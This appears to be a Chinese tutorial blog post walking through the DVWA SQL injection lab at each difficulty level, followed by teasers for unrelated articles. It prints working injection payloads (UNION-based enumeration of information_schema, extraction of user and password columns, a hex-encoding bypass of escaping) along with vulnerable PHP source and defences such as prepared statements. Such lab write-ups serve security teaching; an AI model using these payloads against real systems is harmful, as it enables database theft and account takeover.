网站设计特点/啥是网络推广
概念
SQL注入,是指将特殊构造的恶意SQL语句插入Web表单的输入或页面请求的查询字符串中,从而欺骗后端Web服务器以执行该恶意SQL语句。
成功的 SQL 注入漏洞可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据库执行管理操作 (例如关闭 DBMS),恢复 DBMS 文件系统上存在的给定文件的内容 (load_file),并在某些情况下向操作系统发出命令。
SQL 注入攻击是一种注入攻击,其中 SQL 命令被注入到数据平面输入中,以便执行预定义的 SQL 命令。
这种攻击也可以称为“SQLi”。
目的
数据库中有 5 个用户,ID 从 1 到 5。您的任务...通过SQLi窃取他们的密码。
漏洞分析
分类
- 参数类型:数字型、字符型(需要引号闭合)
- 是否回显信息:回显注入和盲注
- 注入位置:GET注入、POST注入、Cookie注入和搜索注入
危害
通过SQL注入漏洞,数据库中的关键数据可能会被窃取,如管理员的账号和密码、用户的身份证号码和手机号等个人信息;数据库中存储的数据可能会被篡改,以进行挂马、钓鱼或其他攻击方式的间接利用;甚至,在拥有较高权限时,可以直接获取Web Shell或者执行系统命令等。因此,SQL注入漏洞的危害是绝对不容小觑的。
低水平
输入id,在页面显示了id,first name和surname。
只输入一个‘,点击submit,出现了SQL错误提示,说明后台直接执行了SQL,可能存在了SQL注入。数据库执行了输入的特殊构造语句,可能存在SQL注入漏洞。
输入 1 or 1=1,显示了id为1的信息
输入 1 ' or 1=1 # 显示了所有用户的“First name”和“Surname”,如图
在构造语句时,为了避免SELECT语句中额外增加限制子句,我们经常会在最后加上符号“#”。“#”是注释符,表示这个符号后面的语句不会被执行。
确认SQL注入类型后,我们可以构造SQL语句来获取数据库名。但是想要用SQL语句来获取数据库名,就需要在原来的SQL语句中再拼接一个SQL语句,也就是需要使用联合查询语句union。union语句要求前后两个SELECT子句的字段数相同,因此,我们必须先来获取查询语句的字段数。
输入1 ' or 1=1 order by 1 # ,发现结果按照First name排序,说明First name是查询结果第一个字段,1 ' or 1=1 order by 2 #,发现结果按照surname排序,说明是第二个字段
输入 1 ' or 1=1 order by 3 #,显示报错,说明SELECT子句的字段数为2。
构造union语句,1' union select 1,database()# 在第二个位置会显示数据库的名
获取数据库的表名:
在MySQL数据库中,有一个默认自带的系统数据库information_schema。该数据库本质上是一个视图,存储了数据库的元数据,也就是存储了所有数据库的相关信息,如数据库information_schema中的数据表TABLES中存储了数据库服务器中所有数据库的所有数据表的信息。 数据表information_schema.tables中显示的TABLE_SCHEMA字段为数据表所在的数据库名,TABLE_NAME字段为数据表名。这样,通过数据库的数据表information_schema.tables就能获取到dvwa数据库中存储了哪些数据表。
SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1' UNION SELECT 1, table_name from information_schema.`TABLES` where TABLE_SCHEMA="dvwa"
可以看到dvwa有两个表,分别是guestbokk和users
- 找到字段名
information_schema.columns表中显示了TABLE_SCHEMA(数据库名)、TABLE_NAME(数据表名)、COLUMN_NAME(字段名),以及其他数据信息
SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1' UNION SELECT 1, column_name from information_schema.`COLUMNS` where TABLE_SCHEMA="dvwa"
1' UNION SELECT 1, column_name from information_schema.`COLUMNS` where TABLE_SCHEMA="dvwa"#
可以看到显示了表字段,包含user,passwword
- 获取字段对应数据
找到账号密码,输入如下语句,可以看到输出了账号,密码信息。
1' UNION SELECT user, password from dvwa.users#
- 密码解密
用户admin的密码是经过MD5加密后存储的数据,因此,想要获取明文密码,必须进行MD5解密。大家可以在线进行解密,比如通过在线网站CMD5进行解密
获取到了DVWA平台管理员用户的账号为admin,对应的密码为password。有了管理员用户的账号和密码,攻击者就可以使用管理员权限进入该平台,进行后续的入侵和破坏,比如在DVWA的网站上挂马、篡改网页内容
初级SQL手工注入渗透测试过程:
①判断系统是否可能存在SQL注入漏洞,以及SQL注入类型是数字型注入还是字符型注入。②获取SELECT语句的字段数,以使用联合查询语句union拼接想要执行的SELECT语句。基于MySQL系统数据库中的各个数据表和SQL语句语法构造用户输入,形成可在MySQL数据库中正确执行的语句以依次获取:数据库名→数据表名→指定数据表中的字段名→指定字段的数据。③获取管理员的用户名,并破解管理员的MD5密码。
从源码可以看到,从获取前端用户输入的id参数值到SQL语句的执行,没有设置任何对用户输入的防护,攻击者可以在查询表单的输入处实施SQL注入。
$id = $_REQUEST[ 'id' ];switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]);break;
中级
在中级中,选项为下拉菜单,且以post方式提交。无法直接在页面修改选项,需要使用burpsuite拦截后修改负载再发送。
- 查找注入类型
使用参数 1 or 1=2,显示了所有结果,说明为数字型注入。
找到数据库名
获取的数据表名
4 union select 1,group_concat(table_name)from information_schema.tables where table_schema=′dvwa′#
发生错误,因为引号被转义为/
为了绕过防护,可以使用Burp Suite的Decoder模块,将“dvwa”直接转换为十六进制数据。在“Decoder”界面输入需要转换的字符串“dvwa”,选择“Encode as”下拉列表中的“ASCII hex”选项,就可以获取到“dvwa”对应的十六进制数据“64767761"十六进制数据以“0x”开头,因此,“dvwa”对应的十六进制数据可以使用“0x64767761”表示
获取字段名
id=1 union select 1,group_concat(column_name)from information_schema.columns where table_name=0x7573657273#&Submit=Submit
获取字段对应数据
id=1 union select user,password from users#&Submit=Submit
中级使用SQL注入保护的一种形式,具有 “mysql_real_escape_string()”。 但是,由于 SQL 查询的参数周围没有引号,因此这不会完全保护查询不被更改。
// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);switch ($_DVWA['SQLI_DB']) {case MYSQL:$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
高水平
与初级、中级SQL手工注入渗透测试环境的源代码对比、分析可以发现:①id参数是通过SESSION的方式传递到后端的。②SQL语句中增加了“LIMIT 1”的限制,每次只能返回一条记录;③在发生错误时,不返回具体的错误信息,只返回提示语句“Something went wrong.”。
<?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];switch ($_DVWA['SQLI_DB']) {case MYSQL:// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break;
使用# 来绕过limit 1的限制
1'or 1=1 # 说明为字符型注入
找到数据库名
1 ' union select 1,database()#
找到表名
1' union select 1,group_concat(table_name)from information_schema.`TABLES` where table_schema='dvwa'#
找到字段名
1'union select 1,group_concat(column_name)from information_schema.`COLUMNS` where table_name='users'#
高级防护,后端主要通过“LIMIT 1”来限制返回数据的个数,这个防护措施通过“#”注释符就可以轻松绕过高级
防护方法
1、输入验证和处理
客户端或服务器端对ID进行数字类型的检验,禁止字符的输入
其次,对特殊字符进行转义。如:对SQL注入过程中常用的单引号“′”、百分号“%”、下画线“_”等符号进行转义。PHP中的mysql_escape_string()函数就可以实现字符转义的功能。在客户端和服务器端对所有的输入数据进行长度、类型、范围、格式等的合规性检查,拒绝不合法数据的接收,并且对输入的特殊字符做一定的处理
2、数据库配置
数据库连接遵循“最小权限”原则。在Web应用程序访问数据库时,禁止任何管理员权限账户(如root、sa等)的连接。由于业务需求,可以单独为应用程序创建权限较低的账户,进行有限访问。其次,关键数据务必加密后存储。对于关键或敏感信息,可以加密或哈希后再存储到数据库,这样,攻击者即使获取到这些数据,也无法加以利用。
3、预编译和参数化语句
不可能的水平
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}
对Impossible级SQL手工注入渗透测试环境的源代码进行分析可以发现,主要防护措施为:使用Anti-CSRF token防止CSRF攻击;通过prepare()函数进行预编译,绑定变量id,将代码和数据分离,且确保返回数据为1条,对SQL注入攻击进行有效防护。
参考《web渗透测试与防护 慕课版》
相关文章:

DVWA-SQL Injection SQL注入
概念 SQL注入,是指将特殊构造的恶意SQL语句插入Web表单的输入或页面请求的查询字符串中,从而欺骗后端Web服务器以执行该恶意SQL语句。 成功的 SQL 注入漏洞可以从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、对数据…...

【0基础学Java第四课】-- 逻辑控制
4. 逻辑控制 4.1 顺序结构4.2 分支结构4.2.1 if语句判断一个数字是奇数还是偶数判断一个数字是正数,负数,还是零判断一个年份是否为闰年 4.2.2 switch 语句 4.3 while循环打印 1 - 10 的数字计算 1 - 100 的和计算 5 的阶乘计算1!2࿰…...

C++中的std::cout与std::cerr、std::clog
本文用于记录C中std::cout与std::cerr、std::clog的异同 std::cerr 是C标准库中的标准错误输出流,用于向标准错误设备输出信息,通常用于报告程序的错误和异常情况。与之相对的,std::cout 是标准输出流,用于向标准输出设备输出一般…...

No authorization token was found
今天遇到了一个问题,我把前后端逻辑都理了一遍,开始怀疑后端,后端肯定没错了,把前端理了一遍,ok前后端没错,我错。登录哪里需要的token????把我搞懵逼了。 测…...

Kubernetes概述及其组件/核心组件
目录 1、K8S 是什么? 2、为什么要用 K8S? 3、k8s的特性 4、Kubernetes 集群架构与组件 5、核心组件 Master 组件 ●Kube-apiserver ●Kube-controller-manager ●Kube-scheduler 配置存储中心 ●etcd Node 组件 ●Kubelet ●Kube-Proxy ●docker 或…...

毫米波雷达实时采集教
https://www.cnblogs.com/dhyc/p/10510876.html 毫米波雷达实时采集教程---- 以及好网站总结:资料分享——RSP1 多普勒雷达开发套件...

Java进阶(HashMap)——面试时HashMap常见问题解读 结合源码分析
前言 List、Set、HashMap作为Java中常用的集合,需要深入认识其原理和特性。 本篇博客介绍常见的关于Java中HashMap集合的面试问题,结合源码分析题目背后的知识点。 关于List的博客文章如下: Java进阶(List)——面试…...

Kotlin 使用@BindingAdapter编译出错
在 Kotlin 中使用 BindingAdapter 注解时,需要确保你的项目正确配置了 Data Binding。 首先,请确保在项目的 build.gradle 文件中启用了 Data Binding: android {// ...dataBinding {enabled true} }接下来,请确保你在正确的地…...

Qt之信号和槽,connect参数分析
connect()方法 Qt进行信号和槽连接,有以下几种方法: static QMetaObject::Connection connect(const QObject *sender, const char *signal, const QObject *receiver, const char *member, Qt::ConnectionType Qt::AutoConnection); static QMetaObj…...

Python学习笔记—元组
1、元组定义 元组使用()来定义,元素在()括号内,用逗号隔开 空元组定义,元组名() 注:当元组只有1个元素的时候,需要在元素后面加逗号,…...

【C++项目】高并发内存池第五讲内存回收释放过程介绍
内存回收 1.ThreadCache2.CentralCache3.PageCache 项目源代码:高并发内存池 1.ThreadCache void ThreadCache::Deallocate(void* ptr, size_t size) {assert(ptr);assert(size < MAX_BYTES);//计算在哪号桶中,然后插入进去size_t index SizeClass…...

[毕设记录]@学术工具体验:Sread.ai
我是在查RAG相关的时候,在知乎上面看到了这篇回答:浅谈生成式 AI 技术:检索增强生成 RAG - MarvinZ的文章 - 知乎 https://zhuanlan.zhihu.com/p/659248219 然后在末尾看到了这个 sread.ai 在作者主页看到了他关于这个产品的介绍:…...

uboot - 驱动开发 - 驱动模型
说明 类似于linux,为了规范、统一驱动适配和驱动接口调用,uboot定义了一套驱动模型(Driver Model),简称DM。本文基于:u-boot-2021.10。 优点 为同一类ip的驱动定义了统一的操作接口,DM在软件层面做了一定的抽象。分…...

windows 操作系统命令积累
1. 按 "prt sc" 键 截屏 2. 按 "fn" 键让浏览器进入全屏模式,再次按 "fn" 键让浏览器退出全屏模式( ps:惠普笔记本上是 "fn" "f11" ) 3. ipconfig 查看ip信息 4. 查看指定端口被什么进程占用...

数据结构单链表的实现(C语言)
目录 1.实现的接口和功能2.代码块 1.实现的接口和功能 //打印链表 void SLTPrint(SLTNode** phead); //头插 void PushFont(SLTNode** phead, SLTDataType x); //尾插 void PushBack(SLTNode** phead, SLTDataType x); //头删 void PopFont(SLTNode** phead); //尾删 void Pop…...

Postman的高级使用,傻瓜式学习【下】
目录 前言 1、全局变量、环境变量 1.1、概念: 1.2、如何设置全局变量、环境变量 1.3、获取全局变量、环境变量 1.4、案例1:手动设置变量,请求参数获取 1.5、案例2:代码设置变量,代码获取变量 2、Postman读取外部…...

Qt:关闭对话框,动画实现窗体逐渐缩小到消失
关键技术: 1、使用QPropertyAnimation对象,实现动画效果,逐渐缩小窗体尺寸,以及透明度; 2、在对话框缩小时,要将界面中的控件都隐藏起来,并且将对话框布局的Margin修改成0 代码如下ÿ…...

在Windows上 ciphey安装(详细版)
文章目录 前言 一、不想卸载原有的python版本? 二、安装步骤 1.安装python 2.创建虚拟环境vnev 3.在ciphey的虚拟环境中进行激活 4.安装ciphey 三、参数列表 总结 前言 提示:安装了好几次,但是都没安装成功,我使用了三个电脑p…...

【lesson2】数据库的库操作
文章目录 库操作创建数据库删除数据库字符集和校验规则手动设置字符集和校验集不同字符集和校验集之间的区别修改数据库字符集和校验集备份和恢复数据库 库操作 创建数据库 删除数据库 字符集和校验规则 创建数据库的时候,有两个编码集: 1.数据库编码集…...

Android Studio Giraffe解决gradle reload failed问题
settings.gradle.kts中 pluginManagement {repositories {google()mavenCentral()gradlePluginPortal()} } dependencyResolutionManagement {repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)repositories {google()mavenCentral()} } 各增加三行内容&#x…...

刷题笔记day06-哈希表
242.有效的字母异位词 // 思路2:排序后在比较是否相等import ("sort""fmt""io""strings""os" )func isAnagram(s string, t string) bool {s1, s2 : []byte(s), []byte(t)// 从小到大排序sort.Slice(s1, func(i…...

springboot项目中如何实现过滤器鉴权
通常来说鉴权都是写在网关当中,对于单体应用也可以在后台服务中通过一个过滤器实现。其实过程与网关当中的没什么不同,只是在gateway当中目前是基于netty响应式的。过程如下: 一、实现Filter接口 定义自己的过滤器,并且实现Filt…...

【rust/esp32】在idf中使用embedded-graphics控制st7789 LCD屏幕
文章目录 说在前面模块详情准备工作开始编译烧录结果 说在前面 esp32版本:s3运行环境:esp-idf(std)开发环境:wsl2LCD模块:ST7789V2 240*280 LCDgithub地址:这里 模块详情 某宙的esp32s3开发板 某雪的1.69inch LCD模块…...

YOLOv8如何添加注意力模块?
分为两种:有参注意力和无参注意力。 eg: 有参: import torch from torch import nnclass EMA(nn.Module):def __init__(self, channels, factor8):super(EMA, self).__init__()self.groups factorassert channels // self.groups > 0self.softmax …...

用LibreOffice在excel中画折线图
数据表格如下。假设想以x列为横坐标,y1和y2列分别为纵坐标画折线图。 选择插入-》图表: 选择折线图-》点和线,然后点击“下一步”: 选择:列中包含数据序列,然后点击完成(因为图挡住了数据…...

RabbitMQ 链接管理-发布者-消费者
RabbitMQ连接管理器 using RabbitMQ.Client; using System; public class RabbitMQConnectionManager { private readonly IConnectionFactory _connectionFactory; private IConnection _connection; public RabbitMQConnectionManager(string hostName) { …...

JAVA中的垃圾回收器(3)----ZGC
一)ZGC介绍:是JAVA11新引入的低延迟垃圾收集器 ZGC是一款基于Regin的,暂时没有分代概念的,使用了读屏障,颜色指针等技术来实现并发的标记清除和标记整理算法,一低延迟为主要目标的一款垃圾回收器 ZGC的regin可以分为是下图中具有大…...

IDEA 如何运行 SpringBoot 项目
步骤一:配置 Maven 第一步:用 IDEA 打开项目,准备配置 maven 环境 ,当然如果本地没有提前配置好 maven,就用 IDEA 默认的配置即可 配置 maven 步骤 情况 1:如果本地没有配置过 maven,可以保持如…...

Linux MeterSphere测试平台远程访问你不会?来试试这篇文章
🎬 鸽芷咕:个人主页 🔥 个人专栏:《粉丝福利》 《C语言进阶篇》 ⛺️生活的理想,就是为了理想的生活! 文章目录 前言1. 安装MeterSphere2. 本地访问MeterSphere3. 安装 cpolar内网穿透软件4. 配置MeterSphere公网访问地址5. 公网…...

15.k8s集群防火墙配置
防火墙配置 ######################## # master节点防火墙设置 ######################### 所有master节点开放相关防火墙端口 $ firewall-cmd --zonepublic --add-port6443/tcp --permanent $ firewall-cmd --zonepublic --add-port2379-2380/tcp --permanent $ firewall-cmd…...